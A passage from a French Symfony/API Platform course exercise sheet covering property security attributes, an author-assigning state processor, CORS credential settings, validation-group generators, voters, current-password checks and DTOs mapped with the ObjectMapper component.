#[ApiProperty(securityPostDenormalize: "is_granted('ROLE_ADMIN')")]
private ?bool $desactive = false;
}
Dans cet exemple :
- Tout le monde peut récupérer la liste des articles ou les détails d’un article, mais seuls les utilisateurs connectés pourront en voir le contenu.
- Seul un journaliste peut publier un article, mais seul un administrateur peut écrire la propriété “desactive”.
- Seul un administrateur ou le propriétaire d’un article peut modifier l’article, mais seul un administrateur peut modifier la propriété “desactive”.
Attention, dans cet exemple, il faut que $desactive ait une valeur par défaut ou puisse être null en base de données, car un journaliste non-administrateur ne pourra pas l’écrire dans le payload d’une requête POST.
Ici aussi, bien que pratique, cette fonctionnalité est limitée, car elle ne permet pas de différencier l’opération (au niveau de la propriété). Pour gérer des conditions plus complexes, on préférera utiliser diverses techniques comme :
- Ajouter dynamiquement un groupe de sérialisation selon les permissions de l’utilisateur connecté.
- Utiliser une classe pour calculer dynamiquement les groupes de sérialisation activés.
- Utiliser une classe pour calculer dynamiquement les groupes de validation activés.
Nous aurons l’occasion de voir certains de ces mécanismes dans la section bonus du TD.
Affectation automatique de l’auteur d’une publication
Enfin, avec ce nouveau système d’authentification, nous pouvons automatiquement affecter l’utilisateur qui crée une publication comme auteur de celle-ci et ne plus avoir à spécifier l’IRI (ce qui posait aussi un problème de sécurité, car on peut ainsi affecter un autre utilisateur à une publication !).
Pour cela, nous allons réutiliser le mécanisme des processeurs que nous avions vu plus tôt dans le cadre du hachage du mot de passe. Il vous suffit de créer un processeur affecté à la création d’une publication !
En plus du même ProcessorInterface que vous avez utilisé auparavant (pour sauvegarder), vous aurez besoin du service Security vous permettant de récupérer l’utilisateur courant avec getUser.
-
Créez le state processor
PublicationProcessor. Injectez les services qu’il faut et complétez la classe afin d’affecter l’utilisateur comme auteur de la publication traitée. Après avoir affecté l’utilisateur à la publication, il faudra poursuivre le traitement “normal” en utilisant le processeur d’API Platform. Attention à bien modifier le type de retour de la fonctionprocessenmixedsi vous utilisez la commande dédiée pour créer la classe. -
Au niveau de la classe
Publication, spécifiez votre nouveau processeur au niveau de la méthodePOST. -
Toujours dans la même classe, servez-vous de l’attribut
#[ApiProperty]pour interdire l’écriture de l’auteur (vu qu’il est affecté automatiquement). Retirez également l’attribut#[Assert\NotBlank]que vous aviez sans doute placé précédemment sur cette propriété. Remarque : à la place d’utiliser#[ApiProperty], on aurait aussi pu mettre en place des groupes de sérialisation pour les opérations d’écriture… -
Videz le cache puis connectez-vous (si ce n’est pas déjà fait, c’est-à-dire si vous ne possédez pas le cookie BEARER contenant le
JWT) et tentez de créer une nouvelle publication. Le JWT sera automatiquement envoyé au serveur avec la requête, dans un cookie. Vérifiez alors que la publication est bien créée et que l’auteur a bien été affecté par rapport à l’utilisateur représenté par leJWTque vous utilisez.
Autorisation d’envoi d’informations d’authentification
Afin que les navigateurs acceptent d’envoyer des informations d’authentification pour les requêtes sécurisées (donc, votre JWT), il faut modifier la configuration de l’API afin qu’elle ajoute un en-tête Access-Control-Allow-Credentials à true (sinon, le navigateur refusera de traiter la requête).
Pour cela, rien de plus simple : il suffit d’ajouter un paramètre dans le fichier config/packages/nelmio_cors.yaml :
#config/packages/nelmio_cors.yaml
nelmio_cors:
defaults:
allow_credentials: true
...
...
Éditez le fichier de configuration du bundle nelmio_cors.yaml afin d’ajouter le paramètre allow_credentials. Cela nous sera utile lorsque vous développerez le client en Vue.js qui se servira de cette API pour proposer un front-end à l’application.
Un autre paramètre important est présent dans le fichier allow_origin: ['%env(CORS_ALLOW_ORIGIN)%']. Ce paramètre pointe sur une variable de notre fichier .env. Cette variable va permettre de lister les domaines (noms de domaines) qui sont autorisés à envoyer des requêtes vers l’API. Actuellement, cette variable vaut :
CORS_ALLOW_ORIGIN='^https?://(localhost|127\.0\.0\.1)(:[0-9]+)?$'
Donc, on peut émettre les requêtes depuis un client web se situant sur localhost, ou bien l’adresse IP 127.0.0.1, et sur n’importe quel port. C’est donc parfait pour le moment, car nous sommes en train de développer une application en local (notre futur client web sera aussi sur localhost). En production, il faudra idéalement changer cela par le véritable nom de domaine (où se situe le client).
Ce réglage est important pour la sécurité. Avec allow_credentials: true, chaque origine autorisée par CORS_ALLOW_ORIGIN peut non seulement envoyer des requêtes à l’API avec les cookies de l’utilisateur, mais aussi lire les réponses. Si https://site-malveillant.com était autorisé par erreur (par exemple avec une expression régulière trop permissive), le site de l’attaquant pourrait lire les données d’Alice, alors que dans le scénario CSRF il ne pouvait qu’envoyer des requêtes à l’aveugle. Et si votre API est en sous-route du site client (comme https://monsite.fr/api), les requêtes sont de même origine et CORS n’intervient même pas.
Bonus
Pour finir, quelques sections bonus afin d’améliorer encore plus votre API !
Prise en compte du statut premium
Dans le projet précédent, nous avions fait en sorte d’avoir une limite de taille différente pour les messages selon le statut de l’utilisateur. Pour cela, nous avions utilisé des groupes de validation calculés à partir de l’état de l’utilisateur (publication:write:normal et publication:write:premium). Mais ici, comment faire ? Nous ne pouvons pas coder dans le paramètre contrôlant les groupes de validation actifs dans telle ou telle opération.
En fait, à la place d’avoir un paramètre sous la forme d’une chaîne de caractères, nous pouvons préciser une classe spéciale qui se chargera de générer le tableau contenant la liste des groupes nécessaires. Dans cette classe, nous pouvons injecter des services et donc accéder à l’utilisateur.
#src/Validator/ExempleGroupGenerator.php
use ApiPlatform\Symfony\Validator\ValidationGroupsGeneratorInterface;
class ExempleGroupGenerator implements ValidationGroupsGeneratorInterface
{
public function __construct(
/* Injection de dépendances */
)
{}
public function __invoke(object $object): array
{
//$object correspond à l'entité (Publication, Utilisateur...)
//On peut vérifier que l'objet traité est bien du type attendu...
assert($object instanceof Exemple);
//Groupe par défaut, à inclure
$groups = ['Default'];
//On décide du (ou des) groupe(s) à ajouter...
if(...) {
$groups[] = "...";
}
else {
$groups[] = "...";
}
//On retourne un tableau avec le groupe "Default" et le (ou les) groupe(s) ajoutés
return $groups;
}
}
#[ApiResource]
#[Post(
validationContext: ["groups" => ExempleGroupGenerator::class]
)]
-
Modifiez les contraintes de votre entité
Publicationafin que le message puisse contenir jusqu’à 200 caractères si un des groupes de validation activé estvalidation:publication:write:premiumet jusqu’à 50 caractères si un des groupes activés estvalidation:publication:write:normal(en récupérant éventuellement le code correspondant dans le TD précédent…). -
Créez un dossier
Validatordanssrcpuis à l’intérieur une classePublicationWriteGroupGeneratorqui permettra de choisir la bonne liste de groupes à partir du statut de l’utilisateur. Vous aurez encore une fois besoin du serviceSecuritypour obtenir l’utilisateur courant. -
Modifiez l’opération
POSTau niveau de l’entitéPublicationafin d’utiliser votre nouveau générateur de groupes, pour la validation. -
Dans votre base de données, rendez un utilisateur premium (en changeant manuellement la propriété). Sinon, si vous aviez fait la section à propos des commandes lors du dernier TD, vous pouvez les importer et les utiliser !
-
Videz le cache. Sur Postman, authentifiez-vous sur un compte non premium et vérifiez que l’erreur apparaît bien si vous faites un message dépassant 50 caractères. Vérifiez également que l’erreur n’apparaît pas si vous faites la même chose sur un compte premium (mais que dans ce cas, la limite à 200 est toujours présente).
Utiliser les voters
Il est possible d’utiliser le système de Voter avec API Platform afin de gérer les permissions.
Dans le paramètre security de chaque opération, il suffit de préciser la permission dans la fonction is_granted et l’objet object (si besoin de vérifier la permission par rapport à un objet précis, comme le propriétaire, etc.) :
#[Post(security: "is_granted('PERMISSION', object)")]
-
Importez la hiérarchie de rôles que vous aviez mise en place dans
config/packages/security.yamldu projet précédent (avecROLE_ADMIN). -
Importez le voter
PublicationVoterdepuis le projet précédent (il faudra créer le chemin de répertoiressrc/Security/Voter). -
Mettez à jour la permission de l’opération
DELETEpour utiliser la permission définie dans votre voter. -
Créez un nouveau voter nommé
UtilisateurVoteret traitant la permissionUTILISATEUR_EDIT(qui sera utilisée à la fois pour la mise à jour et la suppression). Cette permission est accordée à un utilisateur connecté qui est soit administrateur (ROLE_ADMIN) soit lui-même l’objet cible de cette permission. -
Mettez à jour les permissions des opérations
PATCHetDELETEpour utiliser votre nouvelle permission, issue de votre voter. -
Videz le cache et vérifiez que les permissions fonctionnent bien (mêmes tests que dans l’exercice que nous avions effectué dans la partie “sécurité” de ce TD).
-
Si vous voulez, vous pouvez également ajouter une permission
PUBLICATION_CREATEdans votrePublicationVoter. La permission est accordée si l’utilisateur est connecté (donc possèdeROLE_USER). Cela permet de centraliser cette permission et la changer si besoin, dans le futur. Attention toutefois : dans une opération de création, la publication n’existe pas encore ! Donc en l’état, notre méthodesupportne fonctionnerait pas. Dans ce cas, il faut utiliser le paramètresecurityPostDenormalizeau lieu desecurityau niveau de l’opération. Il faudra aussi bien penser à lui donner l’objet en question (deuxième paramètre deis_granted).
Vérification du mot de passe avant mise à jour
L’attribut #[UserPassword] (placé au-dessus d’une propriété) permet de vérifier que la chaîne de caractères (en clair) correspond au mot de passe actuel de l’utilisateur connecté, lors de la phase de validation.
Nous souhaitons créer un système pour que quand un utilisateur souhaite mettre à jour son profil, il soit obligé de préciser une propriété currentPlainPassword dans le payload afin de valider son identité (et seulement pour la mise à jour !).
Normalement, vous avez toutes les connaissances nécessaires pour implémenter ce système !
-
Créez une propriété
currentPlainPassworddans la classeUtilisateur(propriété non stockée en base, commeplainPassword). Ajoutez aussi les getters/setters nécessaires. -
En utilisant cette nouvelle propriété, l’attribut
#[UserPassword]et les connaissances acquises dans ce TD, faites en sorte que lors d’une mise à jour (PATCH) l’utilisateur soit obligé de confirmer son mot de passe via la propriétécurrentPlainPassword(afin de valider son identité avant d’effectuer la mise à jour).Vous n’avez pas besoin de quitter la classe
Utilisateurou créer de nouvelles classes. Attention, cette propriété ne doit pas être utilisée lors de la création de l’entité, ou de sa lecture. Vous pouvez configurer#[UserPassword]comme les autres assertions (en utilisant le paramètregroups, par exemple). -
Videz le cache puis, sur Postman, vérifiez si tout fonctionne (tentez de mettre à jour votre profil sans puis avec
currentPlainPassword).
Introduction aux DTOs
Un DTO (pour Data Transfer Object) est un mécanisme utilisé dans différents types d’applications (généralement des APIs, mais pas que). L’idée est d’avoir des classes séparées de l’entité qui décrivent les données du payload dans le cadre des opérations d’écriture, mais aussi de lecture.
Par exemple, on pourrait avoir un DTO par type d’opération (GET, POST, PATCH, etc.).
Dans le cadre de l’écriture, le DTO décrit tous les attributs qu’il est possible d’envoyer dans la requête, et y associe les fameux attributs de validation que nous utilisons (#[Assert\...]).
Dans le cadre de la lecture d’une entité, le DTO décrit tous les attributs qui sont renvoyés au client, dans la réponse de la requête.
Cette approche a l’avantage de mieux séparer les responsabilités, et d’éviter d’utiliser un grand nombre de groupes de validation et de sérialisation, notamment dans le processus d’écriture. Chaque classe DTO représente l’entrée ou la sortie d’une opération. Ainsi, tous les attributs liés à la validation ainsi que la plupart des groupes de sérialisation sont déplacés hors de l’entité Doctrine.
Cela est notamment pertinent quand ce qui est demandé ou rendu par l’API diffère des données stockées en base. Par exemple, dans notre cas, il y a deux attributs qui “traînent” dans notre entité Utilisateur : plainPassword et currentPlainPassword, qui ne sont pas sauvegardés en base, et ne sont liés qu’à l’API.
Historiquement, mettre en place des DTO avec API Platform était assez fastidieux, car il fallait obligatoirement créer un processor ou un provider pour “mapper” les données de l’objet DTO vers l’entité ou inversement. Cependant, depuis la version 7.3 de Symfony, un composant nommé Object Mapper permet de considérablement automatiser ce travail et de se passer (en partie) des processors et providers pour la plupart des opérations. La documentation officielle d’API Platform pousse d’ailleurs de plus en plus vers l’utilisation systématique d’une ressource externe rattachée à l’entité et d’un DTO pour chaque opération.
Cependant, bien que prometteur, ce système n’est pas encore stable. Quelques bugs et anomalies demeurent, qui devraient être réglés dans les prochaines versions de Symfony (future 8.4, puis probablement les versions 9.x) et d’API Platform. Utiliser ce système demande aussi de mettre en place plus de code et plus de classes, ce qui peut être fastidieux en début de projet (mais fait gagner du temps sur le long terme).
Dans le cadre de cette section, nous vous proposons une approche hybride : nous allons utiliser des DTOs pour les opérations POST et PATCH de l’utilisateur.
Une classe DTO d’écriture contient les propriétés autorisées pour l’opération (avec le même nom que dans l’entité), avec la visibilité public, ainsi que d’éventuelles contraintes de validation. On doit aussi déclarer vers quelle entité seront mappées les données envoyées par le client :
<?php
namespace App\Dto\Etudiant;
use App\Entity\Etudiant;
use Symfony\Component\ObjectMapper\Attribute\Map;
use Symfony\Component\Validator\Constraints as Assert;
//Les données seront mappées vers la classe Etudiant
#[Map(target: Etudiant::class)]
class CreateEtudiant
{
#[Assert\NotBlank]
#[Assert\Length(
min: 2,
max: 30,
minMessage: "Le nom doit comporter au moins {{ limit }} caractères!",
maxMessage: "Le nom ne peut pas dépasser {{ limit }} caractères!")
]
public string $nom;
#[Assert\NotBlank]
#[Assert\Length(
min: 2,
max: 30,
minMessage: "Le prénom doit comporter au moins {{ limit }} caractères!",
maxMessage: "Le prénom ne peut pas dépasser {{ limit }} caractères!")
]
public string $prenom;
#[Assert\NotBlank]
#[Assert\GreaterThanOrEqual(value: 18, message: "L'étudiant doit au moins avoir 18 ans!")]
public int $age;
}
Ensuite, il faut :
- Ajouter un
setterpour l’id dans l’entité cible (ici,Etudiant). - Définir le paramètre
inputdans l’opérationPostet le faire pointer surCreateEtudiant.
<?php
namespace App\Entity;
use ApiPlatform\Metadata\ApiResource;
use ApiPlatform\Metadata\Post;
use App\Dto\Etudiant\CreateEtudiant;
use App\Repository\EtudiantRepository;
use Doctrine\ORM\Mapping as ORM;
#[ORM\Entity(repositoryClass: EtudiantRepository::class)]
#[ApiResource]
#[Post(
input: CreateEtudiant::class
)]
class Etudiant
{
#[ORM\Id]
#[ORM\GeneratedValue]
#[ORM\Column]
private ?int $id = null;
#[ORM\Column(length: 255)]
private ?string $nom = null;
#[ORM\Column(length: 255)]
private ?string $prenom = null;
#[ORM\Column]
private ?int $age = null;
//...Getters et setters habituels
public function setId(?int $id): Etudiant
{
$this->id = $id;
return $this;
}
}
Et le tour est joué ! Pas de processor à écrire, et plus aucune contrainte de validation du côté de l’entité.
Il est aussi possible de nommer les propriétés du DTO autrement et d’indiquer ensuite vers quelles propriétés celles-ci sont mappées :
<?php
namespace App\Dto\Etudiant;
use App\Entity\Etudiant;
use Symfony\Component\ObjectMapper\Attribute\Map;
use Symfony\Component\Validator\Constraints as Assert;
#[Map(target: Etudiant::class)]
class CreateEtudiant
{
#[Assert\NotBlank]
#[Assert\Length(
min: 2,
max: 30,
minMessage: "Le nom doit comporter au moins {{ limit }} caractères!",
maxMessage: "Le nom ne peut pas dépasser {{ limit }} caractères!")
]
//nomEtudiant (envoyé dans le payload) sera mappé vers la propriété nom dans l'entité
#[Map(target: 'nom')]
public string $nomEtudiant;
...
}
Il arrive parfois qu’un champ envoyé dans le payload doive subir une transformation complexe (par exemple, nécessitant un algorithme ou des services) avant d’être mappé. Par exemple, afin de transformer un mot de passe en clair en mot de passe haché ! Il est possible d’écrire une classe qui traite la valeur en la transformant avant qu’elle soit mappée dans l’entité correspondante.
Il suffit que la classe implémente l’interface TransformCallableInterface et sa méthode __invoke. Il est aussi possible d’injecter des services dans cette classe. Ensuite, on précise cette classe dans le paramètre transform de l’attribut #[Map] attaché à la propriété, dans le DTO.
Par exemple, imaginons qu’à la place de l’âge, le payload envoie une date de naissance, que l’on souhaite convertir en âge dans l’entité Etudiant :
<?php
namespace App\ObjectMapper;
use DateTime;
use Symfony\Component\ObjectMapper\TransformCallableInterface;
class TransformBirthDateToAge implements TransformCallableInterface
{
public function __construct(
//Injection de dépendances...
) {}
/**
* @param $value La valeur de la propriété dans le payload
* @param $source L'objet DTO, contenant le payload envoyé par le client
* @param $target L'entité cible (ici, un objet Etudiant)
*
* @return int La valeur transformée
*/
public function __invoke(mixed $value, object $source, ?object $target): mixed
{
/** @var DateTime $value **/
$today = new DateTime('today');
$difference = $today->diff($value);
return $difference->y;
}
}
<?php
namespace App\Dto\Etudiant;
use DateTime;
use App\Entity\Etudiant;
use App\ObjectMapper\TransformBirthDateToAge;
use Symfony\Component\ObjectMapper\Attribute\Map;
use Symfony\Component\Validator\Constraints as Assert;
#[Map(target: Etudiant::class)]
class CreateEtudiant
{
#[Assert\NotBlank]
#[Map(target: 'age', transform: TransformBirthDateToAge::class)]
public DateTime $dateDeNaissance;
...
}
Il existe aussi un paramètre if pour conditionner le mapping d’une propriété.
Quand on souhaite avoir un DTO pour les opérations de lecture, le processus est similaire, mais on utilise alors :
sourceà la place detargetdans les attributs#[Map]duDTO(pour celle au-dessus de la classe et celles qui se trouvent éventuellement sur les propriétés).outputdans l’attribut qui correspond à l’opération (ou sur#[ApiResource], si on veut que cela soit fait globalement). À noter qu’il faut aussi le préciser sur les opérations d’écriture (typePOST,PATCHetPUT), car ces opérations retournent un résultat.
Vous pourrez retrouver plus d’informations sur la documentation officielle du composant.
Nous vous proposons donc maintenant de mettre en place deux DTOs : un pour la création d’un utilisateur, l’autre pour sa mise à jour. Pour la mise à jour, il faudra tout de même écrire un petit processeur (autrement, un bug peut survenir, dû au fait que ce composant et son intégration dans API Platform soient encore récents, comme expliqué plus tôt).
Comme il va y avoir beaucoup de changements dans la classe Utilisateur, il est conseillé de sauvegarder la version de cette classe quelque part, si vous souhaitez garder une trace de ce que vous aviez fait jusqu’ici.
- Dans le terminal du conteneur Docker, installez le composant ObjectMapper :
composer require symfony/object-mapper - Dans la classe
Utilisateur:- Supprimez les propriétés
plainPasswordetcurrentPlainPasswordet les getters/setters associés. - Supprimez tous les attributs de validation
#[Assert\...]. - Dans les opérations
POSTetPATCH, retirez les paramètresprocessor,denormalizationContextetvalidationContext. - Retirez les groupes
serialization:utilisateur:createetserialization:utilisateur:updatedes propriétés de la classe. - Ajoutez un setter
setId.
- Supprimez les propriétés
-
Créez la classe
CreateUtilisateursuivante, dans un nouveau dossiersrc/Dto/Utilisateur:<?php namespace App\Dto\Utilisateur; use App\Entity\Utilisateur; use App\ObjectMapper\TransformPlainPasswordToHashedPassword; use Symfony\Component\ObjectMapper\Attribute\Map; use Symfony\Component\Validator\Constraints as Assert; class CreateUtilisateur { #[Assert\NotBlank] #[Assert\Length( min: 4, max: 20, minMessage: "Le login doit comporter au moins {{ limit }} caractères!", maxMessage: "Le login ne peut pas dépasser {{ limit }} caractères!") ] public string $login; #[Assert\NotBlank] #[Assert\Email(message: "L'adresse email n'est pas valide!")] public string $adresseEmail; #[Assert\NotBlank] #[Assert\Length( min: 8, max: 30, minMessage: "Le mot de passe doit comporter au moins {{ limit }} caractères!", maxMessage: "Le mot de passe ne peut pas dépasser {{ limit }} caractères!" )] #[Assert\Regex( pattern: "#^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)[a-zA-Z\d\w\W]{8,30}$#", message: "Le mot de passe doit comporter au moins 8 caractères, une lettre minuscule, une lettre majuscule et un chiffre" )] public string $plainPassword; } -
Créez et complétez la classe
TransformPlainPasswordToHashedPasswordsuivante dans un nouveau dossiersrc/ObjectMapper:<?php namespace App\ObjectMapper; use App\Entity\Utilisateur; use Symfony\Component\ObjectMapper\TransformCallableInterface; class TransformPlainPasswordToHashedPassword implements TransformCallableInterface { public function __construct( //Injection du service pour hacher les mots de passe ) { } public function __invoke(mixed $value, object $source, ?object $target): mixed { /* On se sert du service pour hacher le mot de passe. Pour rappel : $value : le mot de passe en clair. $target : l'entité Utilisateur vers laquelle on mappe le mot de passe. On retourne le mot de passe haché. */ /** @var Utilisateur $target **/ return ...; } } - Dans
CreateUtilisateur, servez-vous de l’attribut#[Map]afin de :- Déclarer que le DTO sera mappé vers la classe
Utilisateur. - Faire en sorte que
$plainPasswordsoit mappé verspassworden appliquant la transformation via votre classeTransformPlainPasswordToHashedPassword.
- Déclarer que le DTO sera mappé vers la classe
-
Enfin, dans
Utilisateur, faites en sorte queCreateUtilisateursoit utilisé commeDTOde l’opérationPOST. - Testez que la création d’un nouvel utilisateur fonctionne toujours.
Pour finir, nous allons mettre en place le DTO de l’opération PATCH. Ici, il faudra quand même utiliser un petit processeur et désactiver le mapping automatique, car autrement, un bug peut survenir quand l’entité visée est en relation avec d’autres entités (comme dans notre cas où l’utilisateur peut être auteur de publications). C’est assez vicieux, car le bug ne survient que si l’utilisateur a une propriété collection de l’entité en relation (ici, publications) et que cette collection n’est pas vide (donc, dans notre cas, si l’utilisateur est auteur d’au moins une publication). Cependant, pas de panique, le travail est quand même bien simplifié par l’object mapper.
-
Créez la classe
UpdateUtilisateurdanssrc/Dto/Utilisateur:<?php namespace App\Dto\Utilisateur; use App\ObjectMapper\TransformPlainPasswordToHashedPassword; use Symfony\Component\ObjectMapper\Attribute\Map; use Symfony\Component\Security\Core\Validator\Constraints\UserPassword; use Symfony\Component\Validator\Constraints as Assert; class UpdateUtilisateur { #[Assert\Email(message: "L'adresse email n'est pas valide!")] public string $adresseEmail; #[Assert\Length( min: 8, max: 30, minMessage: "Le mot de passe doit comporter au moins {{ limit }} caractères!", maxMessage: "Le mot de passe ne peut pas dépasser {{ limit }} caractères!" )] #[Assert\Regex( pattern: "#^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)[a-zA-Z\d\w\W]{8,30}$#", message: "Le mot de passe doit comporter au moins 8 caractères, une lettre minuscule, une lettre majuscule et un chiffre" )] #[Map(target: 'password', transform: TransformPlainPasswordToHashedPassword::class)] public string $plainPassword; #[Assert\NotBlank] #[UserPassword] public string $currentPlainPassword; }On notera qu’il n’y a pas besoin de préciser
#[NotBlank]sur l’adresse email et le nouveau mot de passe : ils peuvent ne pas être transmis (par contre, on veut que le mot de passe de l’utilisateur courant soit transmis).Comme le login n’est pas présent dans le
DTO, il ne pourra pas être transmis et modifié (c’est ce que l’on veut !).Pas de mapping déclaré au niveau de la classe : nous allons nous en charger avec un processeur personnalisé.
-
Créez le processeur
UtilisateurUpdateProcessordanssrc/State:<?php namespace App\State; use ApiPlatform\Metadata\Operation; use ApiPlatform\State\ProcessorInterface; use ApiPlatform\Validator\ValidatorInterface; use Symfony\Component\DependencyInjection\Attribute\Autowire; use Symfony\Component\ObjectMapper\ObjectMapperInterface; class UtilisateurUpdateProcessor implements ProcessorInterface { public function __construct( #[Autowire(service: 'api_platform.doctrine.orm.state.persist_processor')] private ProcessorInterface $persistProcessor, private ObjectMapperInterface $objectMapper, private ValidatorInterface $validator, ) {} public function process(mixed $data, Operation $operation, array $uriVariables = [], array $context = []): mixed { //Cette ligne permet de récupérer l'objet utilisateur stocké en BD (avant modification, donc). $utilisateur = $context['request']->attributes->get('read_data'); //On mappe "$data" qui est notre DTO de type UpdateUtilisateur, dans l'objet $utilisateur récupéré. C'est à ce moment-là que plainPassword est transformé en password. $utilisateur = $this->objectMapper->map($data, $utilisateur); //On valide l'utilisateur final, après modification (permet de vérifier les contraintes UniqueEntity placées sur l'utilisateur : s'il n'y en a pas, on peut sauter cette étape, car le DTO valide déjà ses propriétés). $this->validator->validate($utilisateur); //On sauvegarde les modifications et on retourne l'utilisateur return $this->persistProcessor->process($utilisateur, $operation, $uriVariables, $context); } } -
Dans votre
UtilisateurVoter, si vous vérifiez la permissionUTILISATEUR_EDITainsi :$user == $subjectcela ne fonctionnera plus. En effet, quand on utilise un DTO, l’objet récupéré ($subject) ne passe plus ce test. À la place, il faut comparer la valeur de l’id :$user->getId() == $subject->getId()(c’est d’ailleurs généralement une meilleure pratique). -
Enfin, affectez les paramètres
inputetprocessorde l’opérationPATCHdans la classeUtilisateur. -
Vérifiez que la modification de votre profil fonctionne bien.
Comme vous pouvez le constater, nous avons déplacé toute notre logique de validation en dehors de Utilisateur. Aussi, nous n’avons plus de groupe de dénormalisation et de validation dans la classe. Comme mentionné plus tôt, il est possible de faire de même pour la normalisation avec des DTO de “sortie” et le paramètre output des opérations. Cependant, cela ne veut pas dire que les groupes disparaissent complètement. Ils restent nécessaires :
- quand on veut inclure les données d’une entité dans une autre entité (comme nous le faisons avec l’auteur d’une publication).
- quand on veut appliquer différentes contraintes selon le contexte (par exemple, si nous faisions un
DTOpour écrire les publications, on devrait quand même avoir les groupes pour différencier les assertions qui vérifient la longueur du message en fonction du statut premium de l’utilisateur). - si on veut créer une entité imbriquée quand on crée une autre entité (système détaillé dans les notes complémentaires).
Bref, si le système de DTO est appliqué judicieusement, cela permet de mieux répartir les responsabilités dans l’application, en échange d’une mise en place un peu plus volumineuse, avec plus de classes.
Conclusion
Nous avons terminé de construire notre API ! Elle est complète et prête à l’emploi pour être utilisée dans n’importe quelle application cliente (mobile, web, robot maléfique, etc.).
Vous avez pu constater la puissance de l’outil API Platform. Nous ne sommes pas beaucoup sortis des classes entités et la majeure partie de la logique métier de l’application est spécifiée grâce aux attributs au niveau des propriétés. Pour les traitements particuliers, nous pouvons utiliser les state processors (et les state providers). Il n’y a donc pas besoin de définir de contrôleurs (les processors et providers jouent ce rôle), même s’il y a toujours possibilité d’en définir pour certains traitements spécifiques (par exemple, pour un webhook, pour uploader des images, etc.).
Dans la suite des TDs de web, vous allez apprendre à utiliser un framework JS côté client : Vue.js. Gardez donc cette API de côté, vous serez amenés à la réutiliser…